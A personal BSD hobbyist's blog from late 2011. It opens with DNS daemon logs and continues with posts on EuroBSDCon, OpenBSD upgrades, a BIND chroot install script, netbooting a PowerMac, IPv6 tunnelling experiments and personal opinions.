Sep 29 14:58:11 uranus wildcarddnsd[14017]: request on descriptor 24 
interface "em0" from 200.46.208.61 (ttl=0, region=255) for 
"swpegasus.de." type=SOA(6) class=1, answering "swpegasus.de."
Sep 29 15:01:45 uranus wildcarddnsd[14017]: request on descriptor 24 
interface "em0" from 200.46.208.61 (ttl=0, region=255) for 
"ipv6.solarscale.de." type=SOA(6) class=1, answering "ipv6.solarscale.de."
Sep 29 15:07:53 uranus wildcarddnsd[14017]: request on descriptor 24 
interface "em0" from 200.46.208.61 (ttl=0, region=255) for 
"goldflipper.net." type=SOA(6) class=1, answering "goldflipper.net."
Sep 29 15:21:41 uranus wildcarddnsd[14017]: request on descriptor 24 
interface "em0" from 200.46.208.61 (ttl=0, region=255) for 
"4.7.0.f.0.6.a.0.1.0.0.2.ip6.arpa." type=SOA(6) class=1, answering 
"4.7.0.f.0.6.a.0.1.0.0.2.ip6.arpa."
Sep 29 15:24:44 uranus wildcarddnsd[14017]: request on descriptor 24 
interface "em0" from 200.46.208.61 (ttl=0, region=255) for 
"centroid.eu." type=SOA(6) class=1, answering "centroid.eu."
Sep 29 15:24:44 uranus wildcarddnsd[7545]: AXFR connection from 
200.46.208.61 on interface "em0"
Sep 29 15:24:45 uranus wildcarddnsd[24475]: IXFR request for zone 
"centroid.eu.", replying...
Sep 29 15:35:52 uranus wildcarddnsd[14017]: request on descriptor 24 
interface "em0" from 200.46.208.61 (ttl=0, region=255) for 
"ipv6.centroid.eu." type=SOA(6) class=1, answering "ipv6.centroid.eu."
Sep 29 15:40:33 uranus wildcarddnsd[14017]: request on descriptor 24 
interface "em0" from 200.46.208.61 (ttl=0, region=255) for 
"solarscale.de." type=SOA(6) class=1, answering "solarscale.de."
Sep 29 15:48:48 uranus wildcarddnsd[14017]: request on descriptor 24 
interface "em0" from 200.46.208.61 (ttl=0, region=255) for 
"swpegasus.de." type=SOA(6) class=1, answering "swpegasus.de."
Sep 29 15:57:30 uranus wildcarddnsd[14017]: request on descriptor 24 
interface "em0" from 200.46.208.61 (ttl=0, region=255) for 
"ipv6.solarscale.de." type=SOA(6) class=1, answering "ipv6.solarscale.de."
Sep 29 16:02:28 uranus wildcarddnsd[14017]: request on descriptor 24 
interface "em0" from 200.46.208.61 (ttl=0, region=255) for 
"goldflipper.net." type=SOA(6) class=1, answering "goldflipper.net."
Sep 29 16:17:02 uranus wildcarddnsd[14017]: request on descriptor 24 
interface "em0" from 200.46.208.61 (ttl=0, region=255) for 
"4.7.0.f.0.6.a.0.1.0.0.2.ip6.arpa." type=SOA(6) class=1, 
answering "4.7.0.f.0.6.a.0.1.0.0.2.ip6.arpa."
Sep 29 16:21:36 uranus wildcarddnsd[14017]: request on descriptor 24 
interface "em0" from 200.46.208.61 (ttl=0, region=255) for 
"centroid.eu." type=SOA(6) class=1, answering "centroid.eu."
Sep 29 16:21:36 uranus wildcarddnsd[7545]: AXFR connection from 
200.46.208.61 on interface "em0"
Sep 29 16:21:37 uranus wildcarddnsd[28113]: IXFR request for zone 
"centroid.eu.", replying...
Sep 29 16:27:13 uranus wildcarddnsd[14017]: request on descriptor 24 
interface "em0" from 200.46.208.61 (ttl=0, region=255) for 
"ipv6.centroid.eu." type=SOA(6) class=1, answering "ipv6.centroid.eu."
Sep 29 16:29:53 uranus wildcarddnsd[14017]: request on descriptor 24 
interface "em0" from 200.46.208.61 (ttl=0, region=255) for 
"solarscale.de." type=SOA(6) class=1, answering "solarscale.de."
Sep 29 16:42:54 uranus wildcarddnsd[14017]: request on descriptor 24 
interface "em0" from 200.46.208.61 (ttl=0, region=255) for 
"ipv6.solarscale.de." type=SOA(6) class=1, answering "ipv6.solarscale.de."
Sep 29 16:47:16 uranus wildcarddnsd[14017]: request on descriptor 24 
interface "em0" from 200.46.208.61 (ttl=0, region=255) for 
"swpegasus.de." type=SOA(6) class=1, answering "swpegasus.de."
Sep 29 16:56:16 uranus wildcarddnsd[14017]: request on descriptor 24 
interface "em0" from 200.46.208.61 (ttl=0, region=255) for 
"goldflipper.net." type=SOA(6) class=1, answering "goldflipper.net."
Sep 29 17:09:33 uranus wildcarddnsd[14017]: request on descriptor 24 
interface "em0" from 200.46.208.61 (ttl=0, region=255) for 
"centroid.eu." type=SOA(6) class=1, answering "centroid.eu."
Sep 29 17:09:33 uranus wildcarddnsd[7545]: AXFR connection from 
200.46.208.61 on interface "em0"
Sep 29 17:09:33 uranus wildcarddnsd[15234]: IXFR request for zone 
"centroid.eu.", replying...
Sep 29 17:12:10 uranus wildcarddnsd[14017]: request on descriptor 24 
interface "em0" from 200.46.208.61 (ttl=0, region=255) for 
"4.7.0.f.0.6.a.0.1.0.0.2.ip6.arpa." type=SOA(6) class=1, answering 
"4.7.0.f.0.6.a.0.1.0.0.2.ip6.arpa."
Sep 29 17:17:59 uranus wildcarddnsd[14017]: request on descriptor 24 
interface "em0" from 200.46.208.61 (ttl=0, region=255) for 
"solarscale.de." type=SOA(6) class=1, answering "solarscale.de."
Sep 29 17:23:17 uranus wildcarddnsd[14017]: request on descriptor 24 
interface "em0" from 200.46.208.61 (ttl=0, region=255) for 
"ipv6.centroid.eu." type=SOA(6) class=1, answering "ipv6.centroid.eu."
Sep 29 17:36:57 uranus wildcarddnsd[14017]: request on descriptor 24 	
interface "em0" from 200.46.208.61 (ttl=0, region=255) for 
"swpegasus.de." type=SOA(6) class=1, answering "swpegasus.de."
Sep 29 17:39:57 uranus wildcarddnsd[14017]: request on descriptor 24 
interface "em0" from 200.46.208.61 (ttl=0, region=255) for 
"ipv6.solarscale.de." type=SOA(6) class=1, answering "ipv6.solarscale.de."
Sep 29 17:43:05 uranus wildcarddnsd[14017]: request on descriptor 24 
interface "em0" from 200.46.208.61 (ttl=0, region=255) for 
"goldflipper.net." type=SOA(6) class=1, answering "goldflipper.net."
Sep 29 17:58:41 uranus wildcarddnsd[14017]: request on descriptor 24 
interface "em0" from 200.46.208.61 (ttl=0, region=255) for 
"centroid.eu." type=SOA(6) class=1, answering "centroid.eu."
Sep 29 17:58:41 uranus wildcarddnsd[7545]: AXFR connection from 
200.46.208.61 on interface "em0"
Sep 29 17:58:41 uranus wildcarddnsd[16657]: IXFR request for zone 
"centroid.eu.", replying...
Sep 29 18:03:31 uranus wildcarddnsd[14017]: request on descriptor 24 
interface "em0" from 200.46.208.61 (ttl=0, region=255) for 
"4.7.0.f.0.6.a.0.1.0.0.2.ip6.arpa." type=SOA(6) class=1, answering 
"4.7.0.f.0.6.a.0.1.0.0.2.ip6.arpa."
Sep 29 18:12:30 uranus wildcarddnsd[14017]: request on descriptor 24 
interface "em0" from 200.46.208.61 (ttl=0, region=255) for 
"ipv6.centroid.eu." type=SOA(6) class=1, answering "ipv6.centroid.eu."
Sep 29 18:13:11 uranus wildcarddnsd[14017]: request on descriptor 24 
interface "em0" from 200.46.208.61 (ttl=0, region=255) for 
"solarscale.de." type=SOA(6) class=1, answering "solarscale.de."
I sent an email to the BIND-users mail list but I think it got stopped by the mail administrator or got dumped to /dev/null.



I miss you!

October 2nd, 2011

The blackbird (Turdus merula) here has disappeared. I can't see them any more and someone told me they had a mass dying. Some virus perhaps. Here is a picture I took of a blackbird in Schweinfurt a few years ago during winter feeding on my parents porch. They were cheerful birds always singing very loud and getting on someones nerve while I was programming. But now that it's all silent, I kinda miss the dang things. May you have better fares in the place you are now!



My Business Card

October 4th, 2011

I got 100 business cards made for EuroBSDCon. I got the idea at BSDCon 2000 where I got at least 10 or so cards from 10 people. Here is how mine looks like:

I'm getting on a train tomorrow so this should be the last blog entry before October 10th. I'm not going to have guaranteed 'net but if I do I have an OTP skey system set up that allows me to reach an account on my DSL.



Photos from EuroBSDCon 2011

October 10th, 2011

I got back home earlier today from the hotel in Maarssen. Here is some photos that I made of people and the venue. Enjoy. Email me if you are in these photos and want them removed.

Photos from EuroBSDCon 2011.

Unfortunately many photos turned out blurry and distorted, I decided not to put those ones up. Maybe I need a new camera.



Goodbye, World (Celebrating the life of Dennis Ritchie)

October 13th, 2011

I saw a similar posting on Slashdot...

int
main(void)
{
	printf("Goodbye, World.\n");
	exit(0);
}
I bought the book "The ANSI C Programming Language" (second edition) three times in my life. One is in the hands of a stranger who I gave this book at the GTABUG BSD Usergroup meet in Toronto. But this article is not about the book but rather the author of this book who recently died. Rest in Peace Dennis Ritchie, and may everyone who was touched by your wonderful creations celebrate your life! Mourn death, but celebrate life. Thanks for making me understand (somewhat)!



The FreeBSD German Documentation Project

October 15th, 2011

At EuroBSDCon I had the pleasure to speak to Benedict Reuschling who is involved in the german documentation project. They are always looking for more people able to translate from english to german. Here is their website.

Als ich auf EuroBSDCon war hatte ich die Ehre mit Benedict Reuschling zu reden der bei dem FreeBSD Deutschen Dokumentations Projekt arbeitet. Sie suchen immer mehr Leute die Englisch zu Deutsch übersetzen können Hier ist die Webseite des Projektes.



Did you know you could get BSD Certified?

October 16th, 2011

At EuroBSDCon I met and spoke a bit with Dru Lavigne. She does the BSD Certifications at most major BSD events. All in all a good thing if you live in a place where certifications are important. If I go to EuroBSDCon next year I'll try to do the certification myself. The website is here at bsdcertification.org . I also made a photo of Dru but it turned out very blurred so I can't share that, sorry.



German Trojan, some thoughts

October 19th, 2011

This story is circulating. I noticed that the programs being spied on are programs that use encryption and that's probably what the police are out to get at, encryption keys or seeing what someone is doing what they can't see by simply wiretapping the line. I noticed they are interested in skype (which uses encryption). What it comes down to is that there is a frustration out there that the cops want to see through the encryption of end-users that they suspect for whatever reasons. In a way this is a nicer way of peeking through encryption than installing X amounts of supercomputers to crack the encryption used, it's likely also cheaper. The underlying problem of creating a police state is real though. So where do you find a median? We can't turn encryption off as some countries dictate because organized crime will get to us before the cops can protect us, and the losses will be huge. We can't install supercomputers because they suck up too much energy and cost too much. So what can the cops do to track criminals? It's not so easy, why don't you send me your thoughts? Lastly we don't want to put the cops in a position where they can surveil anyone or everyone without a court order.



Rocket Scientists, why can't this be done?

October 24th, 2011

I was wondering why humans insert rockets in a circular orbit around the earth first and then gun the engines to "escape". First a picture of how it's done currently.

I envision space craft going directly up into the sun toward L1 Lagrange. Basically it's ascending straight up, followed by a coast and then possibly ION engines backed by possible lasers (for energy) from the ground, in order to stay at this Lagrange point.

Basically up there it's like an eagles nest in the mountains. You experience day at all times, see the earth lit all times, and are able to move between other lagrange points with little to no chemical energy. Also accessing the moon from there should be no problem.



7 Billion Humans

October 26th, 2011

Here is a United Nations report that says we'll hit 7 Billion (estimate) Humans in five days. I gotta say congratulations to the human race, but at the same time I'm worried because in the 1970's we had just 4 Billion people on earth.

Here is the Universal Declaration of Human Rights that SHOULD give every human, every one of our 7 Billion, the rights that are the foundation of freedom, justice and peace.

I have some issues with the large number of people like mentioned above, but let me ask some questions. How are we going to feed everyone? Oil is running out, how can we keep relative comforts for everyone? More fresh water is polluted every day, how can we ensure drinking water for everyone? Machinery is taking away humans work, how can we accept being unemployed because of it? We realise we live on a planet in space, how can we ever accept that there is other species elsewhere?



OpenBSD 5.0 Released

November 1st, 2011

Well I was hoping to give you news of my CD's having arrived but they aren't here yet. So I did an FTP of the install50.iso file for the amd64 architecture and upgraded 2 vm's so far. I've made a screen shot:

Screenshot

Well as you can tell by the screenshot Libreoffice is in 5.0 instead of OpenOffice. This is amazing! Also facebook stopped working for the 4.9 browser a few days ago. The browser bundled with OpenBSD 5.0 makes facebook work again. Yay! Let's hope this will be as consistent and stable as the 4.9 release. I'll be upgrading uranus.centroid.eu soonish.



uranus upgraded

November 4th, 2011

I've upgraded my dear box uranus to OpenBSD 5.0. Downtime was about one hour as I was upgrading packages as well in single user mode. Some packages didn't want to be upgraded, and I'll have to sort that out. Otherwise it worked like a charm.

kern.version=OpenBSD 5.0 (GENERIC.MP) #59: Wed Aug 17 10:19:44 MDT 2011
    deraadt@i386.openbsd.org:/usr/src/sys/arch/i386/compile/GENERIC.MP
That's the version of the kernel running on it now.



Got a new VPS

November 7th, 2011

I got a new VPS. It's called io.solarscale.de. I got this because goldflipper.net was down for 1.5 days and my DNS was hanging on a string. The new host io doesn't do DNS just yet but it will in the next few days. One bonus is that it does IPv6, and one drawback is that it's not BSD. Oh well. I'll be comparing goldflipper.net and io for the next year and a half and decide which one I will keep running. It's a matter of quality of service.

$ host www.centroid.eu
www.centroid.eu has address 78.47.14.22
www.centroid.eu has address 200.46.208.61
www.centroid.eu has IPv6 address 2001:a60:f074:4::1
www.centroid.eu has IPv6 address 2a01:4f8:d13:1980::22

As you can see www.centroid.eu is DNS load shared between three hosts. io and goldflipper for IPv4 and uranus and io for IPv6.



Upgraded Anti-Virus

November 11th, 2011

Today I bought Anti-virus for my Windows 7 vm. I was 1 day away from losing my support and subscription so I bought it for this and 2 other PC's for a years subscription. I believe all windows computers need anti-virus and I even bought anti-virus for my dad's Mac. It's very important to keep malware out.



Rant on oil

November 12th, 2011

I'm worried about the human race. Ever since the great wars in the 1940's we've been using gasoline and oil based fuels to power our economies. Our economies pride themselves by having multiple trading partner, so as to not be relied on one partner too much, yet we don't do this with transportation means such as cars. People are lazy too. They will boycott buying gasoline _for a day_ to make statements but it doesn't get any results. What we have to do as a human race is to strip ourselves free of this dependency and create a _mix_ of transportation means so that we don't fall into poverty when there is no more oil. Guys ride your bikes more often! Mayors! Ban cars in cities unless they are electric! We can't sleep on this or else we'll be poor as we were in the beginning of the industrial revolution when the oil runs out. Let's try to have 50% electric cars and 50% gasoline cars by 2020! I wager that in 2022 the oil will run out if not sooner.



Donated 25 euros to Wikipedia

November 15th, 2011

Donation time is coming around again and I'm making more money as I have a job this year so I thought I'd spend a little more. Here is a comment I was able to put up for my money.

Thinking of donating to a few other projects now that I'm at it.



chroot script for Bind 9.8.1-P1 and FreeBSD 7.4-STABLE

November 17th, 2011

I noticed that the install process on FreeBSD is different than the Makefile provided with BIND 9.8.1-P1. So I made a script that you execute inside the build directory of bind 9.8.1-P1. Make sure you only run this there, never run this on / it will delete stuff out of the system!

#!/bin/sh

rm -rf usr/include/isccc
rm -rf usr/include/dns
rm -rf usr/include/dst
rm -rf usr/include/isccfg
rm -rf usr/include/bind9
rm -rf usr/include/lwres
rm -rf usr/share/man/man5
rm -rf usr/share/man/man8
rm -rf usr/share/man/man1

mkdir -p usr/local/sbin
mkdir -p usr/bin
mkdir -p usr/sbin
mkdir -p usr/lib
mkdir -p usr/libexec
mkdir -p usr/share/mk
mkdir -p libexec
mkdir -p lib
mkdir -p usr/include/isc
mkdir -p usr/local/share/man/man3
mkdir -p usr/share/man/man3
mkdir -p usr/share/man/man8

cp /usr/bin/make usr/bin/make
cp /usr/share/mk/* usr/share/mk/
cp /bin/sh bin/
cp /libexec/ld-elf.so.1 libexec
cp /libexec/ld-elf.so.1.old libexec
cp /libexec/ld-elf32.so.1 libexec
cp /libexec/ld-elf32.so.1.old libexec

cp /lib/libedit.so.6 lib
cp /lib/libncurses.so.7 lib
cp /lib/libncursesw.so.7 lib
cp /lib/libc.so.7 lib

cp /usr/bin/install usr/bin/
cp /bin/rm bin/
cp /bin/ln bin/
cp /usr/bin/sed usr/bin/
cp /bin/mkdir bin/

chroot `pwd` make install

Be sure to look this script over before you run it. It will install most bind9 stuff under the "usr" directory which isn't existing in the bind9 directory. Cheers!



Profiling DNS answers

November 19th, 2011

Out of boredom I dumped the answers of A RR's for centroid.eu from my 3 different nameservers in production for that zone. I made pictures too.

In conclusion:

Have a nice day!



Netbooting OpenBSD/macppc

November 21st, 2011

I activated mars.centroid.eu (not on IPv6 yet). It took me a while to boot the kernel on it because it has a broken cdrom, and my external CDROM was not detected on it. So I had to netboot it. The experience I'd like to document.

In /etc/dhcpd.conf-em5:

subnet 172.16.2.0 netmask 255.255.255.0 {
        option routers 172.16.2.1;

        range 172.16.2.240 172.16.2.254;

        host mars {
                hardware ethernet 00:30:65:a1:ec:a6;
                fixed-address 172.16.2.2;

                filename "ofwboot";
                next-server 172.16.2.1;
                option root-path "/tftpboot";
        }

}

In /etc/inetd.conf:

172.16.2.1:tftp         dgram   udp     wait    root    /usr/libexec/tftpd      
tftpd -s /tftpboot

In /etc/exports:

/tftpboot       172.16.2.2

And then of course turn on portmap, nfsd, and mountd. kill -HUP inetd and start dhcpd on em5. That did not boot it automatically but when you do a set image bsd.rd in ofwboot on the macppc machine and then boot it should boot into the kernel.

The boot command is: boot enet:,ofwboot /bsd.rd ... It will first look up DHCP get the IP and then download ofwboot from the TFTP server, it will then NFS mount /tftpboot and download the kernel bsd.rd from there, from then on it'll boot normally into the install disk.



mars.centroid.eu dmesg

November 22nd, 2011

I've owned this computer 10 years now. When I bought it it ran OpenBSD 3.0 or so (back when there was still OpenBSD powerpc). In the meantime it loaded Mac OS X, ran for my parents and then it was mothballed... well I saved it didn't I.

[ using 490376 bytes of bsd ELF symbol table ]
console out [ATY,Rage128Pd]console in [keyboard] , no keyboard attached, trying 
usb anyway
: memaddr 94000000 size 4000000, : consaddr 96008000, : ioaddr 90020000, size 20
000: memtag 8000, iotag 8000: width 640 linebytes 768 height 480 depth 8
Copyright (c) 1982, 1986, 1989, 1991, 1993
        The Regents of the University of California.  All rights reserved.
Copyright (c) 1995-2011 OpenBSD. All rights reserved.  http://www.OpenBSD.org

OpenBSD 5.0 (GENERIC) #69: Wed Aug 17 10:17:02 MDT 2011
    deraadt@macppc.openbsd.org:/usr/src/sys/arch/macppc/compile/GENERIC
real mem = 805306368 (768MB)
avail mem = 768524288 (732MB)
mainbus0 at root: model PowerMac5,1
cpu0 at mainbus0: 7400 (Revision 0x209): 450 MHz: 1MB backside cache
mem0 at mainbus0
spdmem0 at mem0: 256MB SDRAM non-parity PC133CL2
spdmem1 at mem0: 256MB SDRAM non-parity PC133CL2
spdmem2 at mem0: 256MB SDRAM non-parity PC133CL2
memc0 at mainbus0: uni-n
kiic0 at memc0 offset 0xf8001000
iic0 at kiic0
mpcpcibr0 at mainbus0 pci: uni-north, Revision 0xff
pci0 at mpcpcibr0 bus 0
pchb0 at pci0 dev 11 function 0 "Apple Uni-N AGP" rev 0x00
vgafb0 at pci0 dev 16 function 0 "ATI Rage Fury" rev 0x00, mmio
wsdisplay0 at vgafb0 mux 1: console (std, vt100 emulation)
mpcpcibr1 at mainbus0 pci: uni-north, Revision 0x16
pci1 at mpcpcibr1 bus 0
pchb1 at pci1 dev 11 function 0 "Apple Uni-N" rev 0x00
macobio0 at pci1 dev 23 function 0 "Apple Keylargo" rev 0x03
openpic0 at macobio0 offset 0x40000: version 0x4614 little endian
macgpio0 at macobio0 offset 0x50
macgpio1 at macgpio0 irq 47
pgs0 at macgpio0: irq 55
"i2s" at macobio0 offset 0x10000 not configured
"escc-legacy" at macobio0 offset 0x12000 not configured
zsc0 at macobio0 offset 0x13000: irq 22,50
zstty0 at zsc0 channel 0
zstty1 at zsc0 channel 1
"timer" at macobio0 offset 0x15000 not configured
adb0 at macobio0 offset 0x16000 irq 25: via-pmu, 0 targets
apm0 at adb0: battery flags 0x9, 0% charged
kiic1 at macobio0 offset 0x18000
iic1 at kiic1
wdc0 at macobio0 offset 0x1f000 irq 19: DMA
wd0 at wdc0 channel 0 drive 0: 
wd0: 16-sector PIO, LBA, 19623MB, 40188960 sectors
atapiscsi0 at wdc0 channel 0 drive 1
scsibus0 at atapiscsi0: 2 targets
cd0 at scsibus0 targ 0 lun 0:  ATAPI 5/cdrom re
movable
wd0(wdc0:0:0): using PIO mode 4, DMA mode 2, Ultra-DMA mode 2
cd0(wdc0:0:1): using PIO mode 4, DMA mode 2, Ultra-DMA mode 2
wdc1 at macobio0 offset 0x20000 irq 20: DMA
wdc2 at macobio0 offset 0x21000 irq 21: DMA
ohci0 at pci1 dev 24 function 0 "Apple USB" rev 0x00: irq 27, version 1.0
ohci1 at pci1 dev 25 function 0 "Apple USB" rev 0x00: irq 28, version 1.0
"TI TSB12LV26 FireWire" rev 0x00 at pci1 dev 26 function 0 not configured
usb0 at ohci0: USB revision 1.0
uhub0 at usb0 "Apple OHCI root hub" rev 1.00/1.00 addr 1
usb1 at ohci1: USB revision 1.0
uhub1 at usb1 "Apple OHCI root hub" rev 1.00/1.00 addr 1
mpcpcibr2 at mainbus0 pci: uni-north, Revision 0x16
pci2 at mpcpcibr2 bus 0
pchb2 at pci2 dev 11 function 0 "Apple Uni-N Eth" rev 0x00
gem0 at pci2 dev 15 function 0 "Apple Uni-N GMAC" rev 0x01: irq 41, address 00:3
0:65:a1:ec:a6
lxtphy0 at gem0 phy 0: LXT971 10/100 PHY, rev. 1
vscsi0 at root
scsibus1 at vscsi0: 256 targets
softraid0 at root
scsibus2 at softraid0: 256 targets
bootpath: /pci@f2000000/mac-io@17/ata-4@1f000/disk@0:/bsd
root on wd0a swap on wd0b dump on wd0b



My C Primer hits 10,000 views

November 22nd, 2011

The C primer I wrote (with corrections from other guys) has hit 10,000 views. It's very popular on the Internet it seems. I thank you for the views if you visited it, and I hope you were not dissapointed. My goal is to make newbies able to write input and output of data with the C programming language. I don't know if I succeeded, but I got a thank you for this before.



mars loses harddrive, new SSD ordered

November 25th, 2011

Mars died with a uncorrectable data error in the harddrive. I made backups from it and I'm going to build what this guy did: SSD in a powermac G4 Cube. It cost 147 euros for the card and the adapter and I hope it'll work out. The positive thing is that I can reuse the SSD if I don't like mars anymore.



Hacking on Natally again

November 29th, 2011

I'm back hacking on Natally. This time I want to put in routines for NAT for IPv6. Basically I want to give my network a ULA block and then use the IPv6's on my VPS which do a "redirect" back. All this because Hetzner Online doesn't allow extra "true" V6 /64's for VPS customers, we just get 1 which have to be bound on the external interface or we get no routing. So this is where natally comes in. I'm doing this too because I don't know how long the sixxs.net tunnel at my provider will last. I heard they have a pilot project to get native v6 already without tunnels so perhaps one day the tunnelling will cease and I might lose my v6 block. Also VDSL is rolled out but not at my provider so I may want to switch one day. We'll see.



mars is back

December 5th, 2011

Well I finally was able to put the SSD in mars. Here's a clip from the dmesg as that's all that's changed:

$ dmesg|grep wd0
wd0 at wdc0 channel 0 drive 0: 
wd0: 16-sector PIO, LBA48, 61057MB, 125045424 sectors
wd0(wdc0:0:0): using PIO mode 4, DMA mode 2, Ultra-DMA mode 2
root on wd0a swap on wd0b dump on wd0b
The speed is pretty nice. I can upload to the box at 5MB/s and reading and writing files is somewhere between 15 and 18 MB/s. And the best thing about the G4 Cube is now that it's soooo purring quiet (minus the purring).



Sample IPv6 traceroute through Natally

December 7th, 2011

I have set it up so that Natally which is run on a Linux VPS tunnels for an OpenBSD client. Here is a demonstration:

# sh run        
opened tun0 for communications
# ifconfig tun0
tun0: flags=51 mtu 1500
        priority: 0
        groups: tun
        status: active
        inet6 fd00:1000::1 ->  prefixlen 64
# host www.v6.facebook.com
www.v6.facebook.com has IPv6 address 2620:0:1cfe:face:b00c::3
# route add -inet6 2620:0:1cfe:face:b00c::3 fd00:1000::2
add host 2620:0:1cfe:face:b00c::3: gateway fd00:1000::2
# traceroute6 www.v6.facebook.com
traceroute6 to www.v6.facebook.com (2620:0:1cfe:face:b00c::3) from 2001:a60:f074::30, 64 hops max, 12 byte packets
 1  * * *
 2  2a01:4f8:d13:6::1  20.055 ms  14.481 ms  11.987 ms
 3  2a01:4f8:0:d0:4:0:10:2  29.143 ms hos-tr2.juniper1.rz10.hetzner.de  20.25 ms 2a01:4f8:0:d0:3:0:10:2  26.594 ms
 4  hos-bb1.juniper4.ffm.hetzner.de  15.75 ms  15.841 ms  16.297 ms
 5  20gigabitethernet4-3.core1.fra1.he.net  17.108 ms  17.924 ms  18.068 ms
 6  10gigabitethernet5-3.core1.lon1.he.net  35.179 ms  40.085 ms  31.783 ms
 7  10gigabitethernet7-4.core1.nyc4.he.net  104.398 ms  104.567 ms  99.631 ms
 8  10gigabitethernet2-3.core1.ash1.he.net  103.884 ms  106.854 ms  103.058 ms
 9  2001:470:0:1bf::2  104.096 ms  104.525 ms  104.519 ms
10  ae2.bb01.iad1.tfbnw.net  104.524 ms  104.846 ms ae1.bb02.iad1.tfbnw.net  104.712 ms
11  ae14.bb01.sjc1.tfbnw.net  165.751 ms ae12.bb02.sjc1.tfbnw.net  165.193 ms  168.688 ms
12  ae2.pr01.sjc1.tfbnw.net  165.496 ms  165.883 ms ae0.pr01.sjc1.tfbnw.net  166.808 ms
13  * *^C
As you can see the first hop is through Hetzner Online (20 ms latency due to my DSL) which is my VPS provider. I still have ideas for Natally in v6 mode so stay tuned.



2011, a look back

December 10th, 2011

Last year we did the "look back" on December 10th as well so here is a sum up for this year that passed (hard to believe 2011 is almost over)...

January 4th - Received the Lanner FW 7530B per parcel
January 21st - 1st mention of SVP Radio
January 31st - quit the proteus VPS and transfer of solarscale.de to joker.com
February 2nd - CKLN my favourite radio station at the time has until Feb. 12
		to shut down..
February 4th - got a DSL upgrade (contract for 2 years) 18 Mbps down/ 1Mbps up
February 18th - did clock.centroid.eu IPv6 traceroute faker with time display
March 12th - first mention of Fukushima nuclear powerplant meltdown
April 17th - CKLN 88.1 goes off air
April 19th - Wildcarddnsd at BETA_6
April 26th - Demonstration against nuclear power
April 29th - Upgraded to OpenBSD 4.9
May 8th - Ordered two books on PHP
May 19th - Stargate Universe (SGU) show is over and will be missed...
May 20th - found a bug in dspam which is used at one work of mine
May 21st - 1 to 4 documentary on Hip-Hop in Toronto featured
May 27th - I'm back working, for 1.5 euros an hour (no minimum wage)
June 2nd - cleaned heatsink and reduced CPU temperature article
June 5th - bought a book on Windows System programming
June 13th - source code to exploit to crash Speedport W303V Type A router
June 25th - my second windows program
July 22nd - Space Shuttle Atlantis does its final landing
July 30th - upgraded my dads macbook to OS X Lion
August 5th - turned on comments on this blog
August 6th - got a new VOIP phone (Grandstream GXP 2100)
August 7th - showcase of SVPRadio with pictures from the Compudoc
August 10th - 1/6 of my Internet traffic is over IPv6
September 3rd - Free Bradley Manning (billboard sighted in Kansas City)
September 17th - Wildcarddnsd does passive AXFR now
September 28th - first draft of Wildcarddnsd Handbook written
October 2nd - Our blackbirds are observed to be reduced in numbers 
October 4th - Business cards for EuroBSDCon 2011
October 10th - Photos from EuroBSDCon 2011
October 13th - Dennis Ritchie, father of C and UNIX dies
October 26th - the world reaches 7 billion humans
November 1st - OpenBSD 5.0 Released
November 4th - uranus upgraded to OpenBSD 5.0
November 7th - got a new VPS from Hetzner Online, this one is io.solarscale.de
November 11th - upgraded anti-virus
November 15th - donated 25 euros to wikipedia
November 17th - BIND 9.8.1-P1 is released fixing a nasty bug
November 21st - netbooting OpenBSD/macppc
December 5th - mars.centroid.eu (OpenBSD/macppc) is back with a new SSD drive
December 7th - Natally does IPv6 redirects now (sorta like NAT but not PAT)
This year was a very good year for me. Hoping to make it even better in 2012!



Natally enables IPv6 on my parents computer Neptun

December 11th, 2011

I finished porting the changes I've made to the openbsd client for natally to Linux. On my parents computer then I'm able to do:

root@neptun:/etc# ping6 ipv6.google.com
PING ipv6.google.com(bw-in-x69.1e100.net) 56 data bytes
64 bytes from bw-in-x69.1e100.net: icmp_seq=1 ttl=53 time=81.6 ms
64 bytes from bw-in-x69.1e100.net: icmp_seq=2 ttl=53 time=80.2 ms
^C
--- ipv6.google.com ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1000ms
rtt min/avg/max/mdev = 80.248/80.927/81.607/0.736 ms
Among google facebook also works over IPv6 (www.v6.facebook.com). I'm very happy that natally works the way I planned for it. In the future though I'M going to make some routing code changes with it... stay tuned for that.



Solstice in 5 days

December 17th, 2011

Once again the solstice is upon us. For northern people like me, it's the winter-solstice. For southeners like Australians the summer solstice is approaching. This solstice according to wikipedia is on the 22nd of December.



Merry Christmas and Happy Solstice!

December 22nd, 2011

Well Christmas isn't around truely yet, but I'm sure Maria felt something by now, those 2000 some odd years ago. I want to wish you a happy solstice today and you may not know this the solstice is for me christmas and new years in one. But I do honor the christian tradition too and we don't open our presents until the 24th (24th is german tradition to open presents on xmas eve).



Throwing out the productions of 2011

December 22th, 2011

Early this year (sometime in april or so) I made 2 shows for SVP Radio which have never been broadcasted. They deal with OpenBSD and have all songs by OpenBSD on them. I DJ these songs together in a random order. If you're interested in listening to my mediocre voice and good OpenBSD songs then go ahead. Free 2 hour listening.

The shows are up to date until OpenBSD 4.8 song. The rest of the songs you can find at OpenBSD. Thanks to OpenBSD for the songs!



Goodbye Facebook

December 23th, 2011

I finally left Facebook. I never really needed it. And hopefully all my friends who facebook said will miss me, will actually miss me. If they leave facebook I'll be there on old methods like email.



Donation to the Pirates

December 27th, 2011

Yesterday I was systematically going through the website of the Pirate Party of Germany. At first I was a little shy about them, now I think they are my party. The good thing is that you can vote for them twice. Once with your money and once with your vote. I donated 10 euros to them which I will money transfer to them tomorrow. For all those that use computers and internet as much as I do and aren't convinced they are _the_ party to vote I urge you to look at the politics section of their website and make up your own mind. Invest 40 minutes which I did to really take a look at the program. Sure there is some things missing like defence and finances as well as foreign relations but their priority number 1 for politics is to make the Internet political topic number 1. I don't expect them to win the elections but if they get into parliament it would be grand considering I vote for them.



Added a bit of Javascript

December 28th, 2011

As you can probably tell this site has been getting a bit of javascript and HTML5 improvements. I'm dabbling here and there with my book I got a while ago. One noticeable change on this blog is that the ads on the top will get reloaded every minute to a new one. You can see what ads there are by reading the page source. Cheers!



Turning off WPS

January 1st, 2012

According to this article (german) and a CERT advisory the key to a WPA2 network can be broken within 11,000 tries. In computers 11,000 tries isn't much.

I've found and turned off WPS on my parents problematic Speedport W303V Type A router which had it set in the pushbutton method by default. Now it's off. At home I don't use Wifi so that's safe (I have cat5 cable everywhere though).

Happy New Year 2012 everyone.



470:1 where my money goes...

January 2nd, 2012

Wikimedia has broken off the fundraiser. 1 million donors donated on average 20 dollars for the 470 million visitors that wikipedia gets. My contribution (25 euros) was slightly above average then, I'll keep that in mind for next year. If you donated, congratulations you too support 470 others on wikipedia.



New Comment System

January 6th, 2012

